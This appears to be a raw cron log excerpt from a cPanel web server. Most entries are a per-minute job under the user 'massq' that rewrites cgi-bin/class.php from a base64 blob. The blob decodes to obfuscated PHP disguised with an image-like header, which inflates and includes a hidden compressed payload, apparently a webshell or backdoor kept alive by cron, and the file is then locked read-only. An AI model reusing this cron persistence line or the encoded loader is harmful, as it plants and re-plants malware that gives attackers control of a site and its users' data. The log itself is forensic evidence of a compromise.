Nov 13 10:24:01 server CROND[29462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:25:01 server CROND[30437]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:25:01 server CROND[30439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:25:01 server CROND[30438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:25:01 server CROND[30436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:26:02 server CROND[31500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:27:01 server CROND[32380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:27:01 server CROND[32381]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 10:28:01 server CROND[788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:29:01 server CROND[1649]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:30:01 server CROND[2515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:30:01 server CROND[2516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 10:30:01 server CROND[2517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:30:01 server CROND[2518]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:31:01 server CROND[3543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:32:01 server CROND[4398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:33:01 server CROND[5244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:34:01 server CROND[6110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:35:01 server CROND[6903]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 10:35:01 server CROND[6904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:35:01 server CROND[6905]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 10:35:01 server CROND[6907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:35:01 server CROND[6909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:36:01 server CROND[7925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
